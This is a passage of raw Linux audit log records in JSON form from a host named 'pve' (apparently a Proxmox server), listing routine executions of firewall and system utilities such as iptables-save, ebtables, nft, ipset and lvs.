name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945842,"@rawstring":"node=pve type=PATH msg=audit(1781964945.842:63333): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945842,"@rawstring":"node=pve type=PATH msg=audit(1781964945.842:63333): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=PATH msg=audit(1781964945.840:63332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=PATH msg=audit(1781964945.840:63332): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945840,"@rawstring":"node=pve type=PATH msg=audit(1781964945.840:63331): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945835,"@rawstring":"node=pve type=PATH msg=audit(1781964945.835:63330): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945835,"@rawstring":"node=pve type=PATH msg=audit(1781964945.835:63330): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945835,"@rawstring":"node=pve type=PATH msg=audit(1781964945.835:63330): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945829,"@rawstring":"node=pve type=PATH msg=audit(1781964945.829:63329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945829,"@rawstring":"node=pve type=PATH msg=audit(1781964945.829:63329): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945821,"@rawstring":"node=pve type=PATH msg=audit(1781964945.821:63328): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945821,"@rawstring":"node=pve type=PATH msg=audit(1781964945.821:63328): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945814,"@rawstring":"node=pve type=PATH msg=audit(1781964945.814:63327): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945814,"@rawstring":"node=pve type=PATH msg=audit(1781964945.814:63327): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945804,"@rawstring":"node=pve type=PATH msg=audit(1781964945.804:63326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945804,"@rawstring":"node=pve type=PATH msg=audit(1781964945.804:63326): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945797,"@rawstring":"node=pve type=PATH msg=audit(1781964945.797:63324): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945797,"@rawstring":"node=pve type=PATH msg=audit(1781964945.797:63324): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945792,"@rawstring":"node=pve type=PATH msg=audit(1781964945.792:63323): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945792,"@rawstring":"node=pve type=PATH msg=audit(1781964945.792:63323): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945786,"@rawstring":"node=pve type=PATH msg=audit(1781964945.786:63322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945786,"@rawstring":"node=pve type=PATH msg=audit(1781964945.786:63322): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945781,"@rawstring":"node=pve type=PATH msg=audit(1781964945.781:63321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945781,"@rawstring":"node=pve type=PATH msg=audit(1781964945.781:63321): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945775,"@rawstring":"node=pve type=PATH msg=audit(1781964945.775:63320): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945775,"@rawstring":"node=pve type=PATH msg=audit(1781964945.775:63320): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945771,"@rawstring":"node=pve type=PATH msg=audit(1781964945.771:63319): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945771,"@rawstring":"node=pve type=PATH msg=audit(1781964945.771:63319): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945763,"@rawstring":"node=pve type=PATH msg=audit(1781964945.763:63318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945763,"@rawstring":"node=pve type=PATH msg=audit(1781964945.763:63318): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945757,"@rawstring":"node=pve type=PATH msg=audit(1781964945.757:63317): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945757,"@rawstring":"node=pve type=PATH msg=audit(1781964945.757:63317): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945752,"@rawstring":"node=pve type=PATH msg=audit(1781964945.752:63316): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945752,"@rawstring":"node=pve type=PATH msg=audit(1781964945.752:63316): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945749,"@rawstring":"node=pve type=PATH msg=audit(1781964945.749:63315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945749,"@rawstring":"node=pve type=PATH msg=audit(1781964945.749:63315): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=PATH msg=audit(1781964945.748:63314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=PATH msg=audit(1781964945.748:63314): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945748,"@rawstring":"node=pve type=PATH msg=audit(1781964945.748:63313): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945744,"@rawstring":"node=pve type=PATH msg=audit(1781964945.744:63312): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945744,"@rawstring":"node=pve type=PATH msg=audit(1781964945.744:63312): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945744,"@rawstring":"node=pve type=PATH msg=audit(1781964945.744:63312): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945737,"@rawstring":"node=pve type=PATH msg=audit(1781964945.737:63311): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945737,"@rawstring":"node=pve type=PATH msg=audit(1781964945.737:63311): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945729,"@rawstring":"node=pve type=PATH msg=audit(1781964945.729:63310): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945729,"@rawstring":"node=pve type=PATH msg=audit(1781964945.729:63310): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945724,"@rawstring":"node=pve type=PATH msg=audit(1781964945.724:63309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945724,"@rawstring":"node=pve type=PATH msg=audit(1781964945.724:63309): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945717,"@rawstring":"node=pve type=PATH msg=audit(1781964945.717:63308): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945717,"@rawstring":"node=pve type=PATH msg=audit(1781964945.717:63308): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945711,"@rawstring":"node=pve type=PATH msg=audit(1781964945.711:63307): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945711,"@rawstring":"node=pve type=PATH msg=audit(1781964945.711:63307): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944502,"@rawstring":"node=pve type=PATH msg=audit(1781964944.502:63306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944502,"@rawstring":"node=pve type=PATH msg=audit(1781964944.502:63306): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944466,"@rawstring":"node=pve type=PATH msg=audit(1781964944.466:63305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944466,"@rawstring":"node=pve type=PATH msg=audit(1781964944.466:63305): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PATH msg=audit(1781964941.210:63304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PATH msg=audit(1781964941.210:63304): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PATH msg=audit(1781964941.210:63303): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PATH msg=audit(1781964941.210:63302): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PATH msg=audit(1781964941.199:63301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PATH msg=audit(1781964941.199:63301): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PATH msg=audit(1781964941.199:63300): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PATH msg=audit(1781964941.199:63299): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=PATH msg=audit(1781964940.028:63297): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=PATH msg=audit(1781964940.028:63297): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=PATH msg=audit(1781964940.028:63298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=PATH msg=audit(1781964940.028:63298): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940026,"@rawstring":"node=pve type=PATH msg=audit(1781964940.026:63296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940026,"@rawstring":"node=pve type=PATH msg=audit(1781964940.026:63296): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PATH msg=audit(1781964936.190:63295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PATH msg=audit(1781964936.190:63295): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PATH msg=audit(1781964936.190:63294): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PATH msg=audit(1781964936.190:63293): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936180,"@rawstring":"node=pve type=PATH msg=audit(1781964936.180:63292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936180,"@rawstring":"node=pve type=PATH msg=audit(1781964936.180:63292): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936179,"@rawstring":"node=pve type=PATH msg=audit(1781964936.179:63291): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936179,"@rawstring":"node=pve type=PATH msg=audit(1781964936.179:63290): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935700,"@rawstring":"node=pve type=PATH msg=audit(1781964935.700:63289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935700,"@rawstring":"node=pve type=PATH msg=audit(1781964935.700:63289): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935697,"@rawstring":"node=pve type=PATH msg=audit(1781964935.697:63288): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935697,"@rawstring":"node=pve type=PATH msg=audit(1781964935.697:63288): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=PATH msg=audit(1781964935.696:63287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=PATH msg=audit(1781964935.696:63287): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=PATH msg=audit(1781964935.696:63286): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935693,"@rawstring":"node=pve type=PATH msg=audit(1781964935.693:63285): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935693,"@rawstring":"node=pve type=PATH msg=audit(1781964935.693:63285): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935693,"@rawstring":"node=pve type=PATH msg=audit(1781964935.693:63285): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935686,"@rawstring":"node=pve type=PATH msg=audit(1781964935.686:63284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935686,"@rawstring":"node=pve type=PATH msg=audit(1781964935.686:63284): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935679,"@rawstring":"node=pve type=PATH msg=audit(1781964935.679:63283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935679,"@rawstring":"node=pve type=PATH msg=audit(1781964935.679:63283): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935672,"@rawstring":"node=pve type=PATH msg=audit(1781964935.672:63282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935672,"@rawstring":"node=pve type=PATH msg=audit(1781964935.672:63282): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935664,"@rawstring":"node=pve 